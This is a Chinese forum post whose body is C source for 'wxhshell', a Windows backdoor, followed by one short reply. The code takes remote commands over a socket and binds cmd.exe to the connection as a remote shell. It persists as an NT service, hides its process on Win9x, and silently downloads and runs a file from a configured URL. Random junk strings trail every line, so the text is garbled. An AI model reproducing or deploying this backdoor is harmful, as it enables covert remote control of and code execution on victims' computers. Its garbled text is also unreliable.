  // 帮助 Zu+Z7@$}/  
  case '?': { z6Mf>q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ Q2|{*  
    break; fx_7B (  
  } VBd.5YW  
  // 安装 RrRCT.+E  
  case 'i': { $cK9E:v  
    if(Install())  gZvl D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S B'.   
    else 2QBq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X1" `0r3  
    break; x$A5Ved  
    } 8E$KR:/:4  
  // 卸载 A4SM@ry  
  case 'r': { +  1v@L  
    if(Uninstall()) =;T971L`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0}w>8L7i{  
    else T=>&`aZH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IS8ppu&E  
    break; fQe-v_K  
    } LrK6*y,z  
  // 显示 wxhshell 所在路径 P/ug'  
  case 'p': { A\ LTAp(I  
    char svExeFile[MAX_PATH]; Ct.Q)p-wn  
    strcpy(svExeFile,"\n\r"); J#JZ^59lOS  
      strcat(svExeFile,ExeFile); AQ-PY  
        send(wsh,svExeFile,strlen(svExeFile),0); IcaF 4#  
    break;  ,?`$ ~8  
    } |EF*]qI  
  // 重启 * SC~_  
  case 'b': { ))k^7g9M`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  /@%  
    if(Boot(REBOOT)) M)-+j{<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MMcHzRF  
    else { -i 6<kF-W  
    closesocket(wsh); `U?;9!|;6  
    ExitThread(0); 1?mQ fW@G  
    } C' ny 2>uA  
    break; C96|T>bk  
    } -6DfM,  
  // 关机 ``zg |h  
  case 'd': { ,.F,]m=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uTn(fs) D  
    if(Boot(SHUTDOWN)) 'n.ATV,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M22 ^.,Z  
    else { ?hmj0i;XC  
    closesocket(wsh); A$%%;O   
    ExitThread(0); B_@>HZ\&  
    } )5e}Id  
    break; T!J\Dm-  
    } f<y""0L9  
  // 获取shell ,qaIdw[  
  case 's': { m]&d TZV  
    CmdShell(wsh); >JnEhVRQJ9  
    closesocket(wsh); {?#g*QF|^  
    ExitThread(0); tl0_as  
    break; \N7 E!82  
  } b vUYLWzS  
  // 退出 h-#Glse<  
  case 'x': { q/&Z6LJ)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iF<VbQP=X^  
    CloseIt(wsh); <A!v'Y  
    break; jcevpKkRG  
    } #  ,GpZ  
  // 离开 q.rnZU  
  case 'q': { &9TG&~(+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g$$uf[A-SL  
    closesocket(wsh); lE%0ifu  
    WSACleanup(); 22(0Jb\_  
    exit(1); \{abyi;  
    break; 2<|+h= &  
        } du`],/ 6  
  } d}IVYI  
  } gK`6 NUj  
$yhQ)@#1  
  // 提示信息 v{&cgod  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t0Ec` +)  
} 1*(^<x+n  
  } Qm ;ip E  
iB[%5i-  
  return; |>VDMezy  
} H|Q)Tp Lk  
|A}E/=HPU  
// shell模块句柄 pSc<3OI  
int CmdShell(SOCKET sock) [4sbOl5yZ  
{ R.+Q K6B&  
STARTUPINFO si; lvk(q\-f  
ZeroMemory(&si,sizeof(si));  +loD{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k\1q Jr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d;)Im "  
PROCESS_INFORMATION ProcessInfo; wcB-)Ra  
char cmdline[]="cmd"; ~#@sZ0/<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \ $z.x-U  
  return 0; 3Pkzzyk_|D  
} IjJ3./L!5  
obS|wTG~  
// 自身启动模式 iK'bV<V&7  
int StartFromService(void) S}ZM;M  
{ }U%2)M  
typedef struct jjEkz 5  
{ ;o"}7'4*R%  
  DWORD ExitStatus; O_(/uLH  
  DWORD PebBaseAddress; [ @&  
  DWORD AffinityMask; p@>_1A}qh_  
  DWORD BasePriority; R\1#)3e0  
  ULONG UniqueProcessId; H4Pj 3'  
  ULONG InheritedFromUniqueProcessId; T%?<3 /Ev!  
}   PROCESS_BASIC_INFORMATION; n%W~+  
EKq9m=Ua@o  
PROCNTQSIP NtQueryInformationProcess; VO[s:e9L  
3*XX@>|o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qdNYY&6>?u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Pr(7^  
(&+ ~hW5d  
  HANDLE             hProcess; gmy_ZVU'  
  PROCESS_BASIC_INFORMATION pbi; IP/ zFbc  
Rr(,i%fu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~vBmW_j  
  if(NULL == hInst ) return 0; B,, f$h!  
bU(t5 [  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W1U r~x`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZKPnvL70  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +'JM:};1X8  
}(O 7tC  
  if (!NtQueryInformationProcess) return 0; l[L\|hv'n  
;40!2P8t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @kRe0:t  
  if(!hProcess) return 0; jQC6N#L  
Gb~*[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *A;~~ SQ  
TV0(uMZ0+'  
  CloseHandle(hProcess); E(>RmPP=7  
[:TOU^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bp>%'L  
if(hProcess==NULL) return 0; L]9uY  
9<}d98  
HMODULE hMod; C3hnX2";  
char procName[255]; ,]42v?  
unsigned long cbNeeded; 91}QuYv/_  
R0, Q`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HG5|h[4Gt  
3RZP 12x  
  CloseHandle(hProcess); <0 k(d:H-  
K({+3vK  
if(strstr(procName,"services")) return 1; // 以服务启动 ?&pjP,a  
MjQKcL4%7  
  return 0; // 注册表启动 p p9Gzn C  
} `GUj.+u  
Fpzps!(;=  
// 主模块 .~4%TsBaY  
int StartWxhshell(LPSTR lpCmdLine) yf2U-s  
{ u&9|9+"N  
  SOCKET wsl; cRDjpc]  
BOOL val=TRUE; c<r`E  
  int port=0; VSc;}LH  
  struct sockaddr_in door; & 2& K9R  
i:ZpAo+Z{  
  if(wscfg.ws_autoins) Install(); {UT^p IP\  
QA+qFP  
port=atoi(lpCmdLine); p>96>7w  
TGY^,H>J  
if(port<=0) port=wscfg.ws_port; ICTl{|i ]  
]<WKi=  
  WSADATA data; XuVbi=pN.2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %($sj| _l  
hIuK s5`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H :}|UW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h?p&9[e`  
  door.sin_family = AF_INET; @D[jUC$E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t.v@\[{ -  
  door.sin_port = htons(port); b6 &`]O;%  
C6Ap  4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jt@k< #h~  
closesocket(wsl); P`v%< 9~  
return 1; L!|c: 8  
} XwOj`N{!H  
o6P)IZ1  
  if(listen(wsl,2) == INVALID_SOCKET) { M@[{j  
closesocket(wsl); hug8Hhf_&  
return 1; HWi0m/J  
} SuMK=^>%  
  Wxhshell(wsl);  I@08F  
  WSACleanup(); ]6v6&YV  
N5Eb.a9S  
return 0; 9?:SxI;v  
-4m UGh1dy  
} {*bXO8vi((  
l}&egq DC  
// 以NT服务方式启动 n9B1NM5 \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jFZJ #'CNS  
{ fT!n*;h  
DWORD   status = 0; FZ DC?  
  DWORD   specificError = 0xfffffff; nzmv>s&UW  
w&8gA[y*u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'QFf 7A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,9^wKS!7$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P PZxH}J.  
  serviceStatus.dwWin32ExitCode     = 0; L&+XFntR  
  serviceStatus.dwServiceSpecificExitCode = 0; d}GO(  
  serviceStatus.dwCheckPoint       = 0; L5 Rj;qhi  
  serviceStatus.dwWaitHint       = 0; j)?I]j/  
iqig~fjK ~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U{ gJn#e/.  
  if (hServiceStatusHandle==0) return; ]7}2"?J4v  
]xBQ7Xqf|  
status = GetLastError(); ^EdY:6NJ=A  
  if (status!=NO_ERROR) pP;GDW4  
{ D:sQHJ. y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o /AEp)8  
    serviceStatus.dwCheckPoint       = 0; ~Aq;g$IJZ  
    serviceStatus.dwWaitHint       = 0; /[`bPKr  
    serviceStatus.dwWin32ExitCode     = status; i|0H {q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2u4aCfIx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |_{-hNiz0  
    return; y,v*jE  
  } Lj6$?(x}  
~rN~Ql%S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GxL5yeN@(  
  serviceStatus.dwCheckPoint       = 0; #uVH~P5TM  
  serviceStatus.dwWaitHint       = 0; v?F~fRH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6H\3  
} id8a#&t]  
nyD(G=Q5  
// 处理NT服务事件,比如:启动、停止 =ltT6of@o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]e@'9`G-'  
{ P(8zJk6h),  
switch(fdwControl) *D! $gfa  
{ /KFCq|;7s,  
case SERVICE_CONTROL_STOP: sqFMO+  
  serviceStatus.dwWin32ExitCode = 0; ";AM3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^P >; %  
  serviceStatus.dwCheckPoint   = 0; fn>MOD!l  
  serviceStatus.dwWaitHint     = 0; ,.6Hh'^65^  
  { UaA6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h1} x2  
  } >y#<WB$i  
  return; T B~C4HK=  
case SERVICE_CONTROL_PAUSE: Jf{6'Ub  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rwGY)9 |  
  break; 73OFFKbsk  
case SERVICE_CONTROL_CONTINUE: 8Ih+^Y a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3yn>9qt  
  break; N1`/~Gi  
case SERVICE_CONTROL_INTERROGATE: H]K(`)y}4  
  break; Q"n|<!DN  
}; w0(A7L:L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xH#R_  
} u snbGkq  
IF YGl  
// 标准应用程序主函数 G]X72R?g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WQv%57+  
{ @U08v_,  
3Z;`n,g  
// 获取操作系统版本 p"EQ6_f  
OsIsNt=GetOsVer(); gF,9Kv~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xn^gxOPM  
ZG+8kt!w  
  // 从命令行安装 7KXc9:p+  
  if(strpbrk(lpCmdLine,"iI")) Install(); >xb}AY;  
m?VA 1  
  // 下载执行文件 GY%lPp  
if(wscfg.ws_downexe) { Z_Ffiw(p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fw Ooi 'jb  
  WinExec(wscfg.ws_filenam,SW_HIDE); p3>p1tC  
} C qOvVv  
^=Q/ H  
if(!OsIsNt) { B%QvFxZz  
// 如果时win9x,隐藏进程并且设置为注册表启动 :^]rjy/|+  
HideProc(); 'M+iw:R__  
StartWxhshell(lpCmdLine); 2&7:JM~#  
} "u:5  
else v#J 2yg  
  if(StartFromService()) ]JF>a_2wG  
  // 以服务方式启动 /@-!JF#g  
  StartServiceCtrlDispatcher(DispatchTable); Ey7SQb  
else w'E&w)Z]  
  // 普通方式启动 S)ZcH  
  StartWxhshell(lpCmdLine); Lq<#  
CmKbpN*  
return 0; |X@ZM  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八